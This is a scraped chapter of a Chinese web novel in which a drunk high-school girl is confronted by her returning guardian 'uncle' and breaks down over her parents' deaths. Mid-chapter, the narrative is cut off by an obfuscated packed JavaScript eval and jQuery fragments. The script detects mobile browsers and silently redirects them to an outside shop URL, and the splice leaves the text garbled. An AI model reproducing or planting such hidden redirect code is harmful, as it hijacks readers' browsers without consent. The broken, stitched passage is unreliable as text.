默认冷灰
24号文字
方正启体

2. 对峙

作者:醒冬野本书字数:K更新时间:
    林念殊攥紧手机,手心冒出冷汗,脑海中一片空白,身体却先一步反应,下意识绷直站好。


    “小叔?”她强忍着胃中的翻涌,讪讪一笑,未经思考的话脱口而出:“你怎么来了?”


    话落,她就意识到了不对劲。


    好像很不欢迎他一样。


    周云砚的身姿挺拔,将近一米九的身高光是站在那里就压迫感十足。


    他眼尾下压尽显凌厉,高挺的鼻梁下薄唇轻抿,冷着一张脸看不出是什么情绪,深邃漆黑的瞳孔就那么直勾勾地盯着她,对于她这句话的反应也仅仅只是撩了撩眼皮。


    下一秒,他的眼神微动,眉头皱了皱,说出的话虽是疑问句但却是肯定的语气,没什么起伏:“胃疼?”


    “没有,不疼。”林念殊一口否认,眼神飘忽,不敢去看他的眼睛。


    她用手撑着墙视线乱扫,忽然看到客厅茶几上似乎放了一个长方体盒子,她眯着眼想要看得更加仔细些,但因为视野有限加上酒精作祟,只能看到一个大致的轮廓。


    探寻无果,她索性放弃,转而看向放在茶几旁的一个小型黑色行李箱,高度大概到她膝盖处,通体漆黑无多余的装饰和花纹,是典型的商务行李箱。


    一看就知道它的主人是谁。


    忽然,她的视线一顿,后知后觉反应过来,周云砚还在这里。


    而她,现在是醉酒晚归逃课被抓了个现行的人。


    在这样的情景下,她居然又跑神了。


    林念殊手指扣着墙蜷缩起来,醉意迅速蒸腾消失不见,心跳如同狂放的鼓点,直接提到了嗓子眼。


    她犹豫一瞬,鼓足勇气有些心虚地瞟了周云砚一眼,直直对上了他凉飕飕带着打量意味的目光。


    这下真的完了。


    周云砚看着眼前的人,浓重的妆容都压不住眉毛耳朵以及唇瓣上闪烁的银钉,紧身裙的吊带滑落到肩膀上,要掉不掉地挂着,细长的高跟鞋歪歪扭扭倒在地板上。


    他不动声色地观察着她面部细微的表情变化,将她想展现的和不想展现的情绪都看了个清清楚楚。


    “有胃药吗?”他忽略掉某人的逞强,转身去接了杯热水放到茶几上,看向不知为何呆愣在玄关处的人:“过来坐。”


    林念殊点了点头表示有药,随即松了口气,穿着拖鞋三两步走到沙发上坐下,捧起水杯感受着源源不断的热意透过玻璃杯壁传到手掌里。


    温热的水暂时缓解了胃部的不适,她放下水杯有些好奇地望向那个长方体盒子。


    大概有四五十厘米长。


    正想着里面会是什么东西时,她忽然想到了什么,瞟了几眼周云砚的背影,开始回忆上次往药箱里放药是什么时候。


    一年前?


    不对。


    好像是两年前?


    也不太对。


    林念殊回忆了大概有半分钟,才依稀想起上次接触药箱是三年半前,她不小心摔倒擦伤时,是周云砚从药箱里给她找了药先消了毒。


    至于里面的药是从哪里来的,她完全不知道。


    周云砚打开被主人遗忘在角落的药箱,不出意外,里面只有他三年前出国离开时添置的常备药,药瓶连摆放的位置都没变。


    他合上药箱,打开手机看了眼时间,太晚了没让助理来送药,修长的手指在屏幕上轻敲几下后,除了胃药还有别的常用药都一并买齐了。


    周云砚收起手机,抬眼向沙发上的人看去,她半躺在沙发上,双腿弯曲缩成了一团,眼神中流露出几分疲惫和痛苦,像一只刚刚找到家的流浪小猫。


    见状,他训斥的话到嘴边又咽了回去。


    不过是小孩子叛逆期而已,以后有的是时间慢慢管教,不急于一时。


    眼下最重要的还是她的身体。


    神游天外的林念殊察觉到视线后看了过去,下意识坐好后摸了摸鼻尖:“那个……小叔。”


    “药箱里的药好像都过期了。”


    “嗯。”周云砚走到她身边坐了下去,准备处理工作上的消息,感觉到身侧的人有些僵硬,于是开口补充:“我叫了外卖,十分钟后到,不用担心。”


    林念殊胡乱应了一声,独属于周云砚身上的木质冷香味占据着她的心神,和它的主人一样存在感极强,名为紧张的心情从脚趾开始缠绕,逐渐蔓延到她的头顶。


    客厅变得寂静下来,唯有她的心跳砰砰作响,震得她耳膜生疼,也不知小叔能不能听到。


    她十指交叉相扣无意识地来回摩擦,虽然周云砚不是她的亲小叔,但是对她一直很好,偶尔也会教训她,不过只是看着唬人,实则对她来说算得上是不痛不痒。


    但她也不知道为什么,明明她天不怕地不怕,却每每见了周云砚就像是一只被拔了利爪的猫,只有虚张声势。


    林念殊偏头看了眼周云砚,触及他棱角分明略显冷硬的侧脸,目光好似被烫到一般迅速收回。


    那些并不久远的记忆全部回笼,过往的一幕幕如同胶片电影般在眼前循环播放。


    她开始揣测起周云砚回来的原因。


    是因为工作吗?


    可上次周云砚出国就是因为公司未来规划保守十年起都会在国外,没道理才仅仅过去了三年就突然回来。


    林念殊咬紧下嘴唇,思绪如同蒲公英飘散到各处。


    是因为爸妈的离世吗?


    周云砚和她爸爸早年是竞争对手,后来机缘巧合下成了合作伙伴,性格南辕北辙的两个人却意外地合拍,短短半年时间就发展成了足矣背靠背的好兄弟。


    这些年她爸爸和周云砚的关系一直很好,甚至后来在她初中最叛逆的时候,能够放心把她托付给周云砚管教。


    爸妈突然离世,周云砚回国祭拜也是理所应当。


    可若真因为这样,为什么不在她爸妈出事后就回来呢?就算工作再忙,至交好友离世,也应该立马回国吧。


    为什么要等到现在才回来呢?


    林念殊的心沉落到谷底,她不愿相信周云砚是个这样冷情的人,在她心中除了爸妈以外,周云砚是她唯一喜欢和依赖的长辈。


    尽管他们只相处了两年时间。


    酒精的麻劲后知后觉涌进四肢百骸,血液好似停止流动,浑身变得又僵又麻。


    她深吸口气,忍了又忍,最终还是没忍住,一把抓住周云砚没有任何褶皱的衬衫,中指美甲抵到他小臂绷紧的肌肉,带着醉意眼神凶狠又迷离质问:“你为什么才回来?”


    周云砚被猛然一拽,手滑把没有打完的消息发了出去。


    他顿了顿,先是不紧不慢地把消息补充完整,随后熄灭手机屏幕,低头垂眼看向整个身体快要趴到他腿上的人。


    只见她眉头蹙起,卷翘的睫毛下的眼睛正泛着水光,故作的凶狠神态就像是炸毛的漂亮三花猫。


    “工作忙。”他没有动,声音放轻了一些。


    林念殊在抓上周云砚衬衫袖子的那一刻起,理智早就被抛至九霄云外,只剩情绪支配大脑和身体。


    把心中的不满一股脑宣泄而出:“又是工作忙,又是工作忙!我爸妈工作忙,你的工作也忙,你们的工作究竟有多忙?!”


    “忙到三年来没给我打过一个电话,没有发过一条短信。”


    “忙到我爸妈死了你都不回来看一眼!”


    林念殊最后一句近乎是带着哭腔吼出来的。


    她抿了抿唇,话还没说完的时候她就已经开始后悔了,奈何嘴巴太快,等她意识到她说了什么话时,已经晚了。


    但她面上不显,依旧倔强地瞪着他。


    周云砚眼神暗了暗,本不欲和醉鬼多费口舌,只目光沉沉地盯了她几秒,随后把胳膊轻而易举从她的手中抽出。


    可当


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126661|196106||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    他看到她通红的眼后,瞬间便意识到了她不是在耍酒疯,而是认真的。看来她在他离开的这段时间过的并不好。


    他轻叹了口气,语气里带着不太明显的宠溺:“念念。”


    “别的明天等你清醒了再说,你先告诉我,是受了委屈吗?”


    林念殊听到这个称呼愣了愣,尾椎骨被这一声念念喊得酥麻无比,除了爸妈以外再也没有人喊过她念念,一直以来压抑在心头的巨石轰然粉碎,委屈像泄了洪的闸,怎么也止不住,眼泪瞬间浸满了眼眶。


    她抱住自己的膝盖埋头闷声痛哭,眼泪肆意流淌,本就松散的丸子头此刻完全散落,乌黑的长发恰好将她整个人笼罩在内。


    周云砚揉了揉眉心,三年没见,本以为她会慢慢长大,没想到还是一个不听话的小哭包。


    他下意识伸手想要像往常那样将她揽入怀中安抚,片刻后,伸出的手悬在半空顿了顿,最后轻轻落到少女颤动不止的肩膀拍了拍。


    “念念,可以告诉我吗?”他把蜷缩成一团的哭包虚揽在怀中,耐心引导着她的情绪。


    林念殊只觉得耳边那道低沉的声音似乎有魔力一般,爸妈的去世、亲戚的咒骂和纠缠、望不到希望的未来,这些挤压在心间的黑暗霎时间被冲散。


    她抬头泪眼朦胧地看向身侧的人,感到前所未有的安心,心中的委屈找到了可以释放的人,就开始变得肆无忌惮,不着边际的话接二连三地冒出来。


    “你走了三年,从来都没有问过我一句。”客厅里的灯光很亮,显得林念殊上了眼影的双眸红得彻底。


    “你算我哪门子的小叔?”她死死地盯着周云砚,真心的违心的话都混着一贯而出:”我看你这么费尽心思接近我爸,分明只是为了他的资源和人脉——”


    不等他回话,她兀自扭开头,撇了撇嘴:“你都不关心我,我才没有想你。”


    “我爸走之前还和我说等过一段时间喊你来家里喝酒。”


    “你没有来...”


    “还有他们!他们都欺负我!”


    “小叔,我再也见不到爸妈了……”


    林念殊颠三倒四说完后也不管他是什么反应,把脸埋到他的臂弯里蹭了蹭,熟悉的香味令她感觉好似回到了以前无忧无虑的日子。


    薄薄的衬衫根本隔不住什么,周云砚能清楚地感知到她脸上的温热,时轻时重的温热吐息,还有萦绕在她周围若有若无的酒味。


    他抬起的手在半空中顿了片刻,终于还是落在了女孩时不时微微颤抖的背脊之上。


    男人眸色晦暗,视线擦过她的后脑,感受到了被她埋在头下的那小块衬衫蹭到肌肤,传来了湿意。


    他不动声色叹了口气,手掌轻拍了拍林念殊的后脊,薄唇轻起:“我在呢。”


    不知过了多久,林念殊只觉得眼泪快要流干了,一半是真情实意的发泄,一半则是为明天的自己默哀。


    她咬了咬舌头上的舌钉,回想着自从见到周云砚的那一刻起到现在,她都干了些什么蠢事。


    桩桩件件,每一件都在不停挑衅。


    林念殊把头埋得更深了些,想着明天装疯卖傻蒙混过关的几率有多大。


    虽然周云砚的惩罚不痛不痒,但架不住实在是太羞耻,心灵上受到的冲击远远高出肉-体上感受到的疼痛。


    林念殊眨了眨眼,而后忽然想到,她现在长大了,都高三了,小叔应该也不会像以前那样教训她了。


    经过这一轮的折腾,她也已经很困了,于是她擦了擦眼泪,装作刚刚回神的样子,缓缓抬头看向周云砚,声音软了几分:“小叔……”


    “对不起。”


    周云砚眯了眯眼睛,方才好像看到了她舌头上有一闪而过的金属光泽,他视线移到她耳廓上各式各样的耳钉,单手卡住她的下巴,迫使她张开嘴。


    “你还打了舌钉?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)